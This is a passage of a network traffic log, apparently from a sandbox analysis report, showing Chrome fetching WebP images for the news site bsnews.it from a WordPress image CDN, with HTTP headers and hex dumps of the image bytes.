2024-03-28 08:51:09 UTC	1369	IN	Data Raw: e7 c0 aa 8a a6 17 76 df e0 84 66 44 40 f8 df 92 3d de 46 bf fd 10 2a 1f d1 18 e2 75 4f 2a e8 23 01 6a 6e 2c 89 52 02 2a 12 af 61 03 5d 4f 6d f0 42 09 d2 62 62 c8 d6 b2 72 0d f3 3a da 1d 41 c5 4b c0 e6 e5 31 31 2b b2 70 b7 52 51 31 d4 53 48 4f 76 cb 2f e7 b0 99 42 e8 4b fe 1f e8 c0 d4 19 49 22 60 30 19 d3 14 9b af 04 ef 2b c1 23 ca f0 34 bd e8 2b 6f 34 2c 3e e2 10 b2 26 81 1e a2 5e 84 15 b9 1d 13 3d b7 c1 aa e1 8b 03 30 5a 56 a8 72 94 86 ce 21 d5 b2 1e 17 61 e9 f0 c3 0b 1a aa 03 24 a1 6a 9b 42 29 0d d2 b8 11 e3 fe 35 47 45 18 8f 1a 1e 05 91 1b 8b 3f 82 36 32 16 82 ca f7 3d c1 2f 00 84 90 10 a0 f6 5f 07 a3 59 1c 85 ae d3 37 df 56 27 fa 22 a3 65 b0 39 22 4a f4 57 80 04 3d 8d 09 b6 d7 e4 c0 62 10 b2 2c 9e 83 46 44 50 97 ad 37 7c 4a 77 10 d3 cc 20 50 59 29 38 Data Ascii: vfD@=FuO#jn,R*a]OmBbbr:AK11+pRQ1SHOv/BKI"`0+#4+o4,>&^=0ZVr!a$jB)5GE?62=/_Y7V'"e9"JW=b,FDP7\|Jw PY)8
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 9e 74 b7 2a 3b de 9a 01 26 31 b5 7f 9f 3b aa 19 0c e4 56 23 da e1 c3 8e 94 37 e4 f4 6e 6a 89 f3 60 33 43 bc 85 f2 be 75 46 8b 61 e0 43 59 ea 1c 95 b5 98 4e 0b ab 12 f1 0d 92 51 27 1b 2d 6e 81 a8 a9 55 f2 0a 55 70 8f 30 10 27 8a 9b 1b a6 74 a6 ea 4f dc 30 b2 8b 0c 9e 93 89 ec 28 ec 53 68 95 28 5c 4e a0 83 14 9b fb 55 fe fd 11 ac f4 b8 d9 e7 cf 72 d0 3c 63 c2 97 6c 80 a5 39 1e ac be 59 da 3d 1d 90 63 c8 00 a2 5b 66 b7 b4 45 df 58 f0 f0 2f ff c4 00 1c 11 01 01 01 00 03 01 01 01 00 00 00 00 00 00 00 00 01 00 11 10 21 31 41 20 30 ff da 00 08 01 03 01 01 3f 10 5d 7e 3c 9e b2 bc 24 78 dd 98 c3 81 17 bc c4 72 6d e1 f4 5a b5 b5 b2 f7 61 ed 13 d2 47 a8 4a 25 42 b5 3e b8 38 5f 87 d3 94 76 79 cd 58 ca 6b be 18 e3 c4 72 f5 2f 1a bc b8 13 ac cf bf 2c 19 31 e1 13 ca c3 Data Ascii: t*;&1;V#7nj`3CuFaCYNQ'-nUUp0'tO0(Sh(\NUr<cl9Y=c[fEX/!1A 0?]~<$xrmZaGJ%B>8_vyXkr/,1
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: cb 9e 7d 0c d8 01 6c df a2 21 9a be 4a 47 15 51 b5 2c 25 50 84 b3 1e c6 2b 1c 70 33 fe b0 61 f3 0e 26 c8 21 31 30 66 57 89 bb c4 dd 38 e4 92 57 cc e8 2b fc e2 0b 7f b8 82 02 c5 c0 87 38 e8 d4 fb e4 dc ba 8f d9 7a ff 00 99 86 af d6 7e 09 59 a3 43 67 a5 65 7f 93 f2 22 28 11 52 23 b3 84 1e b2 be 35 0a 18 ee 78 99 bc 74 15 2d c2 c7 48 a0 06 38 9b 26 23 d9 31 2a e7 70 76 9c 31 ad 90 3d d7 68 f2 f9 9a 78 87 1e 5e 80 c4 08 18 c7 a7 99 02 37 82 8f fd d4 19 bd e0 91 80 f4 a1 64 39 cc a7 3b 7d 4b d1 51 73 7b 65 fa 5d f0 96 98 96 ad 72 4a c7 18 0d bd bd 1b ec 31 fd 9c 0e f3 4d ca 0a 03 7a 01 7e 45 6a b6 ae 6e 24 4b 0d d2 63 de 18 98 2b 2b e0 76 43 77 53 7d 68 3d e6 19 8c ad 1c 47 37 52 fc 6d ef b4 cd 3f 06 34 f8 99 f4 39 8f ab 88 b2 7a 0a e1 d7 a0 73 a9 bc d9 87 39 Data Ascii: }l!JGQ,%P+p3a&!10fW8W+8z~YCge"(R#5xt-H8&#1*pv1=hx^7d9;}KQs{e]rJ1Mz~Ejn$Kc++vCwS}h=G7Rm?49zs9
2024-03-28 08:51:09 UTC	526	IN	Data Raw: cc cf 55 ea ca fd e8 32 e6 ee 54 2f 95 fb f4 5b 3c 9c 45 05 ca fc 9a 81 64 15 02 20 40 ed 35 84 22 2f 51 a9 a8 a4 7a 4c d5 bd 51 c1 cc 61 60 c4 4b e3 56 98 b8 81 42 0a 95 e2 de ef b4 41 80 f3 05 95 fb a6 0c 6f 30 56 a8 59 67 c2 09 a1 99 56 d2 bb 95 30 10 15 de 19 83 3c 38 8c 86 7e 31 7b 3b 4c 40 1d 59 58 0c 00 39 80 38 c1 4f d1 12 c5 95 83 51 cd ef c4 4e 8a 33 dd 10 50 5b 17 28 c3 25 a4 0c f2 9d 04 b1 39 c0 46 c6 f8 9e 0f fc 44 39 99 5a 2a fd 3f d5 d9 60 b3 f1 05 03 c3 0f 89 af 4a b9 58 96 74 b8 65 b2 69 bc 12 74 ed 1d f2 03 66 dc c7 ef 9c d4 df 30 b8 2e 20 d9 2e 59 2e 66 42 d6 0a 82 13 86 81 5e c6 b9 99 82 0e f0 c9 a5 1c 5e e1 d4 6d ea c5 e8 28 c1 88 90 d2 f2 92 17 46 34 57 f5 32 a1 9d 70 97 16 a7 c4 6b 89 19 7a b2 f8 93 b4 3b 87 e4 97 ed 36 06 0c 39 86 Data Ascii: U2T/[<Ed @5"/QzLQa`KVBAo0VYgV0<8~1{;L@YX98OQN3P[(%9FD9Z*?`JXteitf0. .Y.fB^^m(F4W2pkz;69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49872	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	648	OUT	GET /bsnews.it/wp-content/uploads/2020/12/CopGuidaPoeticaBs19_11.jpg?resize=300%2C235&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	581	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/webp Content-Length: 13026 Connection: close Last-Modified: Wed, 13 Dec 2023 08:44:22 GMT Expires: Fri, 12 Dec 2025 20:44:22 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2020/12/CopGuidaPoeticaBs19_11.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "11cef1f9edb92446" Vary: Accept X-nc: HIT dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	788	IN	Data Raw: 52 49 46 46 da 32 00 00 57 45 42 50 56 50 38 20 ce 32 00 00 90 a0 00 9d 01 2a 2c 01 eb 00 3e 6d 30 93 46 a4 22 a6 a1 29 d4 3c e0 d0 0d 89 4d dc 2e 26 10 64 2f fd 57 e2 4f 80 ac 93 ef 1f d3 fe 51 7e 40 7c cf f3 8f 92 9f 39 d5 52 eb be df ca 5f dc bf 7a ff a9 fd e3 f2 03 e6 f7 fb cf c6 9f 85 7f da fd 41 7f 55 7d 3d 7f d0 f5 93 fd ab fe 7f a8 9f e9 7f e2 7f 6b bd e4 7f dd fe c5 fb b8 fe eb fe 5b d8 03 f9 cf f9 2f ff fe d6 9e a5 5f e1 ff f2 7b 05 7e df fa 74 fb 36 ff 7f ff a5 fb ad ed 79 aa cb d7 9e d8 ff c5 78 27 e4 4f df bf c0 7e e9 7f 88 f7 39 c4 7f 5c 5f 4f 7a 93 f6 69 f9 ff e3 fd 00 ff ab fe 13 c5 5f 87 bf ee ff 6a f6 05 fc af fa 6f 9b ff de 76 89 6d ff eb fd 02 3d cb fb cf ec b7 8e 57 fc 5f e7 3d 48 fb 01 ff 7f dc 03 f9 f7 f6 5f 3c 7f d8 7f eb ff 3b e5 Data Ascii: RIFF2WEBPVP8 2*,>m0F")<M.&d/WOQ~@\|9R_zAU}=k[/_{~t6yx'O~9\_Ozi_jovm=W_=H_<;
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 85 87 3c db f0 51 29 7a 5c a8 4e ff 4b fd 7b 6e fe 82 88 dc a0 3f 80 52 89 5f d6 92 cf 48 e2 fe 3d f0 b6 7d 3a c0 0e bb 29 41 bf 56 d6 a4 b2 91 25 94 0f 72 6b fd e2 5e 15 36 5a c6 0c f9 f8 d7 73 54 d8 a6 36 0e bc 14 7d 62 62 a4 86 e3 25 c7 23 5f 7f 71 07 58 4d b7 3c f6 0f 23 5e 43 06 fd 1a 95 f2 40 99 92 5a 2c 0e b0 bf 72 13 55 58 4b d0 a0 28 e5 97 05 80 ed 31 a3 f8 9e 59 fe c6 1a c4 7e 78 88 ce 9b c4 55 73 30 d6 05 e5 86 7b 0b d9 c4 fc 72 b0 93 50 26 1b 92 a3 ae c3 b7 f8 97 b4 a1 55 29 5d f3 6f 0a 6c 66 ee 85 b4 14 d3 ad ba 71 a5 08 b2 f5 0a bb ac d0 7f df d5 c4 b9 c0 6d 4a 2e ca f3 21 27 d0 81 6a f1 f7 21 f0 cc 60 e7 d2 64 90 81 6a de 68 54 44 23 df 49 96 69 db 71 1f e2 4d 7d f3 0f 57 93 4d df 53 3f 94 aa 8c 65 95 b5 21 03 b5 3f 83 15 8d 45 24 58 a3 b0 Data Ascii: <Q)z\NK{n?R_H=}:)AV%rk^6ZsT6}bb%#_qXM<#^C@Z,rUXK(1Y~xUs0{rP&U)]olfqmJ.!'j!`djhTD#IiqM}WMS?e!?E$X
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: e4 34 5e 72 4c 23 8c 1e bc 51 e0 0a eb 16 c5 5c fa 8c 42 f5 1a d3 ab 95 10 76 1e 16 09 36 a5 2a 1f 4e 80 e7 23 cc 58 27 63 12 c2 08 9b 53 d2 57 36 0d c4 6e b1 13 18 e3 e1 37 c4 3a 1d 36 1c 64 0f ed f6 fd d7 e4 f5 db 07 f0 37 57 d9 58 24 ff 00 af 1c a6 89 0a cf 7b 0e 93 15 68 25 82 63 5b e4 8b 50 ed 7c 9c b2 0a 2c 41 14 2c 8d ca f8 6a f3 b2 38 a5 69 24 e6 7e 53 8d 28 65 ac c5 ba 8e 35 06 ac 72 0e 2e 80 6f 5a 1d 88 7e 92 35 46 21 ab 2f 0e bb c9 e5 d3 66 c1 15 6a 5e ad f8 e0 0a 06 7f ce 79 19 d7 de 54 04 5b 14 f5 aa dc 96 e8 f2 d1 b4 a4 46 c0 67 b4 17 9c 61 96 57 6f 44 89 09 90 f7 f8 f9 b8 e5 62 7c 5c 88 00 b6 09 d0 8e e4 c5 be bc ee c5 55 27 66 2c 5c ea 6e d9 fc 34 d8 79 94 41 04 42 21 9e ad 9d 27 4a 2c 9c c6 fd fc 79 6f 21 6a 98 7a ee 24 c7 ac 2f ec 40 f8 Data Ascii: 4^rL#Q\Bv6*N#X'cSW6n7:6d7WX${h%c[P\|,A,j8i$~S(e5r.oZ~5F!/fj^yT[FgaWoDb\|\U'f,\n4yAB!'J,yo!jz$/@
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 52 69 6b 4c e1 c2 38 52 69 e9 88 85 44 9a 2f e5 e2 e1 d3 ca e7 89 a1 c5 94 43 70 53 18 1e 3e 76 34 ac 35 56 15 6a 33 6a 1b 4d 82 4a 93 5c 01 8f f0 00 0d 92 c1 e4 58 2a 02 07 08 85 24 38 15 fa 3d 94 50 d5 91 ca d1 8f 96 d8 53 52 f5 99 f8 eb 8c 83 8a 45 22 54 6a 5c 7c b2 7b 0d 12 10 12 8a c3 3a 01 7d 5b 11 66 ad bb 99 dc a3 a5 7b e5 ea ff 9a dd a6 45 00 f2 06 0f 34 20 45 f0 a4 48 aa f6 f8 1f 59 a2 fa 3e 20 2a 78 3f 32 35 ae c7 43 a5 5f c9 d0 bb fd 56 af 00 a5 e5 e9 3c 4c 8d cd 32 eb 5d 9f da 1a b8 89 44 6a f1 0d bc 42 9f 39 03 f9 9e 38 ce 87 6e 99 58 24 a6 e8 75 61 99 ec cb 82 87 94 a0 f3 30 29 cf d3 b0 9a 7b dc 3a 7c b5 1a d2 cd 54 1d 91 f5 b7 81 70 e5 3f c0 96 c0 f4 64 f9 77 ef 3d 2a 7b 3d 96 23 55 66 a0 15 93 7a 75 b4 3d 2f 74 5e c9 cc 6b 63 a3 e7 f1 c5 Data Ascii: RikL8RiD/CpS>v45Vj3jMJ\X$8=PSRE"Tj\\|{:}[f{E4 EHY> x?25C_V<L2]DjB98nX$ua0){:\|Tp?dw=*{=#Ufzu=/t^kc
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 91 f7 e4 5d 1e 17 04 19 09 92 e9 87 2e 6e 58 b0 3b 15 b5 89 15 71 ca 33 9e f8 dc b3 f8 0e a4 af a9 d9 b4 5d 8a c4 4e 4a 2b f0 f5 14 54 00 3a 41 7a be e1 4c e0 d0 93 68 f5 cb c2 33 81 63 0c f8 b2 b9 a2 10 30 68 7d ba 0f da 34 52 0b fd 9b 93 59 ad 13 f4 d8 d7 79 fe dd 0f 04 bc 70 37 4f ed c6 99 ab dd b0 e7 0a 77 86 66 cf 28 f9 bf 5b 58 c5 03 bb 56 0f e1 95 15 ea b4 75 e4 44 45 df 03 6c 21 3b 3d c1 ee ac 7d 8d 57 93 62 60 bb b4 cb d9 c3 25 1a 71 94 35 0b 12 7a c6 c9 2c c4 d8 25 29 18 6a 80 6e 09 42 54 f1 f6 ba cb 52 65 a4 6e 8f 45 f7 a5 61 fa db 7f cc 02 88 7d 7b c6 c7 ef 35 e2 15 0d 94 cc 7c 91 43 f6 03 7e cd 44 03 6f ad 29 42 23 de 59 70 d6 af e9 50 1a d0 a2 5d b3 73 bd 5f c2 fb cb 85 06 27 64 ef b9 99 b3 c4 ad 24 97 30 db e4 35 9e b4 35 49 05 c7 c4 15 fe Data Ascii: ].nX;q3]NJ+T:AzLh3c0h}4RYyp7Owf([XVuDEl!;=}Wb`%q5z,%)jnBTRenEa}{5\|C~Do)B#YpP]s_'d$055I
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 39 a2 85 96 1e 9c a2 1e e8 5a 28 a1 cd aa e1 03 be d4 84 d5 83 a7 30 ec 78 5d ad 3c 87 33 28 9d a4 48 a0 a9 17 85 72 5b 03 7e 01 86 f8 1c a2 cd 2a 70 70 67 3a af 13 23 d7 57 cb a6 17 a8 fd e0 97 af 3c 6f 34 4b ee 3b 68 f0 5d ec 08 86 53 af 65 ee 89 0f 9d 27 47 dd 08 55 53 24 38 d4 36 ad b1 3b b3 08 47 b2 70 f2 01 87 7b 76 e7 03 bf f2 a5 cc db 63 6a cc ae 21 60 c0 00 da 72 5e 5a 6b 88 ea 9f 92 3c 7a 95 95 f2 d5 70 29 c4 b3 8b c4 62 31 1f a6 0f 0a c1 cc cd ec 1f d7 3f 98 58 05 c5 a5 15 65 cf 4f ba d5 52 45 0e e0 e2 69 2d 06 d5 c7 fe 69 b0 07 31 de 82 8b 5f 2d 77 2f 7d 5b 6c f3 5c 1f a8 ec 1d 06 cd 54 4a 86 b8 0b 66 35 2c 45 b9 f9 32 74 15 3c a4 af bd 71 e5 67 29 ca 2b 22 39 e7 47 ad ae e3 d6 07 22 2d c5 37 31 e1 f9 76 c5 f7 de 47 93 9c 66 11 b6 2a 34 b1 a2 Data Ascii: 9Z(0x]<3(Hr[~ppg:#W<o4K;h]Se'GUS$86;Gp{vcj!`r^Zk<zp)b1?XeOREi-i1_-w/}[l\TJf5,E2t<qg)+"9G"-71vGf4
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 30 c9 5c 15 02 77 62 e4 cb 10 35 70 0a 32 be fd fb 77 3d fb 25 2f bb 9e c1 91 f8 cf a6 6e df 9a e7 d1 a1 01 38 59 a1 1b ea 4c 04 d9 40 c7 a0 d8 d2 f6 04 92 5a 36 50 97 67 71 08 bf c6 8a 62 c4 16 4b 21 45 fc 5a c0 cf 64 2c bd f8 b3 ac a2 14 20 1c c3 0e 3d 93 4d 0e 3a 93 12 71 cc a6 3d 8d 70 67 f9 8d d2 9d 69 e5 55 51 a4 e7 ea 82 26 c0 6b f0 dc 24 54 c4 a1 d6 dc e4 f1 8a cf e4 36 c0 6c 8c 71 ea bf 6a ad 9d 69 34 50 79 8b c5 c7 a9 6a c8 e8 0e 31 f4 a4 92 16 de 8c f2 1a 96 b7 8d 53 cd be e2 b1 67 da 84 63 c5 32 ec f4 27 75 80 d3 a7 25 48 db e7 ce 26 f1 5b d1 dd 03 fa 3c 85 72 03 0c 14 e6 9c 6c af 0c f1 63 5c b1 ca a3 69 8c c5 04 fa 5a 47 e7 ab 30 f0 95 78 f4 77 6d 97 1a 05 db 75 14 e7 0c 35 28 92 94 3c 7d ba 10 b4 76 2e 16 44 43 11 01 7b cb 57 69 c5 49 b4 33 Data Ascii: 0\wb5p2w=%/n8YL@Z6PgqbK!EZd, =M:q=pgiUQ&k$T6lqji4Pyj1Sgc2'u%H&[<rlc\iZG0xwmu5(<}v.DC{WiI3
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 8d e9 4f 11 0c 5c 99 d8 01 bb c2 e0 d9 3a f4 6f b2 71 e3 3d b8 03 36 0e 05 9b 1e 58 c0 b3 36 24 38 aa 30 29 6e 26 8f 16 16 3b 49 3d 74 59 43 48 ae 21 7d bd b2 9b 2a b3 c8 61 3b 4b 77 6f 81 ae 43 57 e6 3f 1c bd 50 1f dc c1 90 c0 d4 b7 c3 14 1c 17 8e da b2 fe a3 d0 b7 d5 ed 79 96 83 31 4c 3f 08 4d 41 cd 58 b3 c8 8f 6f 06 48 3d 6f 12 57 9a 6f ba 78 42 4a ac 01 ee 18 71 3f f2 9a 82 1f 0d f4 67 9a 9a 0f ac 65 02 4e 2b 90 2f 18 42 a1 0d 4d 4c d1 d6 69 2e 48 af 18 81 f0 3a 2a 12 eb 1b d0 48 1a 00 eb 2b e4 f3 54 85 92 f3 29 30 5a 6f 1c b2 92 19 ce b7 f3 77 87 d1 db b4 66 47 bf 88 e7 8e bb 46 ea 2c 07 db d2 ea be c1 4f 77 51 c7 17 4e 27 f4 bf 13 a9 8e d9 e6 31 7e d2 3d 32 d1 72 52 ab 6a fa 7d 52 aa 9f b5 a3 4a 56 77 be c9 27 2f 45 c0 71 92 60 6c 85 e1 df ad 56 39 Data Ascii: O\:oq=6X6$80)n&;I=tYCH!}a;KwoCW?Py1L?MAXoH=oWoxBJq?geN+/BMLi.H:H+T)0ZowfGF,OwQN'1~=2rRj}RJVw'/Eq`lV9
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 8f 3f 72 f5 15 03 36 07 a8 93 bc cd 01 3d 26 c8 5c bf 3d 6d 93 16 29 13 dc f0 db d4 0e 84 f9 78 23 65 93 72 64 b6 5b 2c 7c 50 51 ca fd 89 c8 02 de dd 08 08 5a a1 b5 6f c0 e3 e1 8b e8 73 43 06 8e 86 81 17 d3 1c c2 7e 4b 2d 5c a1 49 c2 a5 9b 9a b5 6f c5 1e cf 63 34 47 47 25 65 39 6a 22 41 f2 9b 1a 08 3c 35 67 7a 2f d5 04 25 d1 8f 0a 12 15 84 e7 55 06 5d 8e be 15 a8 f7 d5 4d b8 f9 20 19 7d ab 88 8b 1b b4 35 17 28 0b 96 5c f5 43 42 43 70 9b 47 ce a4 ec 43 33 13 c2 ce 88 ec 19 f5 c0 2e 29 ce 9f 4f 86 d4 2c 12 b5 27 54 dc 90 02 69 ae 55 6f 2a 6a b3 a6 48 14 df 80 67 11 9a aa d5 e6 f1 60 8b ab c7 f8 2e 18 ef 4b 55 11 a5 be f1 92 e7 ac ef e1 0d 34 6b 17 21 c0 c7 4a 5d 79 b0 16 a5 38 e3 68 9c db f1 fc 28 3f 53 0e 09 1a 00 88 5e 04 6f d6 76 db 82 8d 45 65 23 84 a3 Data Ascii: ?r6=&\=m)x#erd[,\|PQZosC~K-\Ioc4GG%e9j"A<5gz/%U]M }5(\CBCpGC3.)O,'TiUo*jHg`.KU4k!J]y8h(?S^ovEe#
2024-03-28 08:51:09 UTC	1286	IN	Data Raw: 9c eb 09 96 da 77 81 37 44 15 df 94 26 0d 4e dd 21 8c c5 ea 10 e3 31 a0 47 ca 79 71 ee a9 35 51 7c b8 6e 46 4a 96 07 25 33 9e 24 ef 54 77 4c b2 f2 7c 48 aa 6e 45 02 ec 9b 17 56 01 94 c7 57 e1 8a d7 4c 80 8c 5e bd bc 28 ae 42 33 a9 a0 fc 9c 42 1e ca c6 62 46 a0 80 ee 2e 28 cc 07 c9 f6 27 59 10 97 38 b2 31 01 95 58 75 6b fd d2 6e d4 c2 d4 f9 d9 74 55 8a 03 cb b4 33 27 8c ea 4e 2c 67 c7 32 bf 1f cb 02 55 35 2f 1f c4 a8 fd c8 5f b4 f0 ad e1 18 55 c2 a9 0f df a4 a3 a7 8b e3 db 93 c1 bf 44 53 8b 09 1b 31 0f d1 b3 aa 24 f7 2e 30 be 68 4d f3 78 e2 07 db 1c 35 1a 3c 5d 38 1d 0e 34 2f 05 6d bc d4 a6 3a 5b 26 ec 96 79 df 42 21 28 b9 a6 7a 5d 8c 32 3a 5a f4 3b 93 ff 0c 18 dc fa 0d 10 17 a7 2c a2 23 71 60 9f df 03 ae f3 85 24 ba 20 79 34 45 06 87 05 ab 6f 49 1d 50 30 Data Ascii: w7D&N!1Gyq5Q\|nFJ%3$TwL\|HnEVWL^(B3BbF.('Y81XukntU3'N,g2U5/_UDS1$.0hMx5<]84/m:[&yB!(z]2:Z;,#q`$ y4EoIP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49881	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	663	OUT	GET /bsnews.it/wp-content/uploads/2018/04/quattro-col-pallone-lr.jpg?fit=1200%2C799&ssl=1&resize=350%2C200 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	582	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/webp Content-Length: 16086 Connection: close Last-Modified: Thu, 28 Mar 2024 08:51:09 GMT Expires: Sat, 28 Mar 2026 20:51:09 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2018/04/quattro-col-pallone-lr.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "4c834ef19d0828c3" Vary: Accept X-nc: MISS dca 7 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	787	IN	Data Raw: 52 49 46 46 ce 3e 00 00 57 45 42 50 56 50 38 20 c2 3e 00 00 10 da 00 9d 01 2a 5e 01 c8 00 3e 6d 2c 92 45 a4 22 a1 96 8a bf 0c 40 06 c4 b1 03 7c 42 82 01 ab 33 a2 3e 3d f6 27 ef 7f c5 7a 4f f1 cf 6f 9f 1e fc 1f 13 61 da ef 7f 39 5f f1 ff 5d fd e3 7e ad f6 12 e7 b1 e6 37 f6 f3 f6 7f dd e7 ff 17 ae 5f ee 9e a2 3f d7 3f bd f5 c6 fa 10 7e e0 7a 78 fb 3b ff 6b ff b9 e9 7d 83 65 c9 df d4 f8 53 e4 db e0 df ba fe ef 7f 74 f7 5a c9 3f 65 5a 8b fc cf f2 1f f1 ff c4 fb 54 fe bb c1 3f 95 3a 84 7e 69 fd 73 d0 7f ef fb 94 6e 07 a0 a7 bd 9f 91 f3 7f fa df fc 1e 94 fe ef fe c7 d8 07 f5 c7 d4 df fa be 25 9f 98 ff 9b ec 09 fd 2f fd 1f ec ff bb ff fa bf b8 1e 8e 7f 62 ff 75 ec 25 d2 c3 f7 b3 da 03 f7 79 65 34 c8 10 3e 49 f9 5f 8b 76 76 26 92 e8 a2 d9 47 41 14 01 94 37 83 24 Data Ascii: RIFF>WEBPVP8 >*^>m,E"@\|B3>='zOoa9_]~7_??~zx;k}eStZ?eZT?:~isn%/bu%ye4>I_vv&GA7$
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 85 30 5a 82 64 f3 c6 b1 08 94 97 0a c9 b1 60 01 8f c3 9e fe 12 55 39 bf 3b 85 88 c9 e3 02 59 13 ca 47 ff 2b 51 43 42 a9 85 6f 5f 20 dd 5a 2a ff 8d 23 9b b6 e2 7d d1 10 fc c1 b8 dd 58 a3 96 2e ef 67 1d d0 b4 67 c5 72 b6 e3 04 e6 6e c0 f8 76 fc 14 e5 48 63 a5 d4 db e2 d5 c5 19 11 42 4e 86 20 a9 79 fb 01 6d 45 cc f8 29 97 6f a5 28 a9 21 4c ee 11 ed 66 b2 b1 b7 e2 88 13 8d 42 db ff 0f 08 51 7d 25 2d 9f 76 9f 4b eb b1 21 49 1d ea 3e a8 f8 2d 3c e1 9a ff df ed 39 c3 1d d9 97 cc c8 ef f2 08 57 37 df f4 1e 23 05 9d 3f 8f b9 96 4e 38 f1 9d 75 0f 69 ac ed 00 9b 3a 67 5d ac 89 83 55 03 ac 90 81 33 a2 54 58 0f 00 18 3f 1b 9d e9 42 e7 96 17 3a 94 04 8c 10 ec 2c 6a 77 fd 3c 16 10 2f da 28 67 ec a9 f7 64 13 5d d0 e7 eb 75 1f e6 fc 86 33 a4 88 54 f7 69 c8 30 37 b8 c0 13 Data Ascii: 0Zd`U9;YG+QCBo_ Z*#}X.ggrnvHcBN ymE)o(!LfBQ}%-vK!I>-<9W7#?N8ui:g]U3TX?B:,jw</(gd]u3Ti07
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 99 bb 0c bc f5 b6 95 9e cc 80 6f 2d bc 26 54 55 3f c0 30 5f 25 42 b6 21 27 a9 b6 40 9d ec 4d a8 ef c2 45 a6 7a 7a 65 2a 2d 2d 26 38 c5 a9 7e 83 8e 9f 31 11 bb 90 ba bc ea 3a f7 35 af 57 72 f7 04 ce 1b 80 bd ab 87 e6 31 17 af 85 6f e2 7d 64 3e 08 ad 72 f2 cf 3c de 88 05 57 94 83 a1 be db 9d f0 d0 e7 5e 79 41 11 cf f0 ab 1f a3 08 15 34 47 04 55 52 b0 39 7b 5e c1 71 b3 5e 71 e2 ab 5d 9e 9e 80 6d 9e 46 71 75 17 bf 59 78 57 c2 30 d8 58 ca a8 46 a5 d0 ef f1 20 7b 31 4e 0f 7b 18 75 04 b2 da 51 70 82 ed c9 08 81 03 55 8e 32 59 44 c6 9b de 56 c8 b1 88 0a 52 5b aa 8c 46 9d 16 96 1f f6 fe 01 c9 79 14 dd 0c 7b 5b 5d f4 c7 35 e7 7c 51 5f 98 91 37 56 57 de 1b 96 fb f3 a0 c6 16 a2 f7 eb 95 d7 f3 dd 95 cb f9 dc ee 0d 27 5f 6d 77 bf b9 8c 71 e5 fb f7 7e dc 7e 4e db 7b 90 Data Ascii: o-&TU?0_%B!'@MEzze*--&8~1:5Wr1o}d>r<W^yA4GUR9{^q^q]mFquYxW0XF {1N{uQpU2YDVR[Fy{[]5\|Q_7VW'_mwq~~N{
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 78 ed 9d af 48 88 04 4f b0 56 bf c6 d0 cf 6d 8d c9 a7 a8 5f 6e 00 d9 37 ba 05 df a1 b8 4b e3 ce 3f c0 f2 56 66 91 e8 f4 52 5e 41 f1 cc 27 b0 14 81 95 80 86 6b 06 f0 ac 23 0b 50 48 a5 c9 fc e5 36 18 3e 5e a5 1f 50 0e de a3 9e 13 53 00 41 db 6b 04 15 a4 51 6b c6 bf ed 7d da f1 ea dc 71 65 e8 12 b5 be 80 ce df 60 26 35 67 67 cc e1 5c 7e 9a 73 47 e6 0d 45 4c 24 fc 5b e7 ef 81 c6 28 24 57 53 7c 08 1c f9 34 13 e3 60 3d fc 06 8f 12 0b 6c 0e 3b 88 ac aa e1 d3 6f 8d cc 31 24 33 0e 3d f2 56 47 2c 60 84 8e 83 29 21 0f 29 70 57 16 59 19 eb 0b 47 b9 14 ed 4b 41 8a bb 94 28 79 84 57 7c 12 f9 6e e3 43 d1 34 65 02 53 0a 60 aa 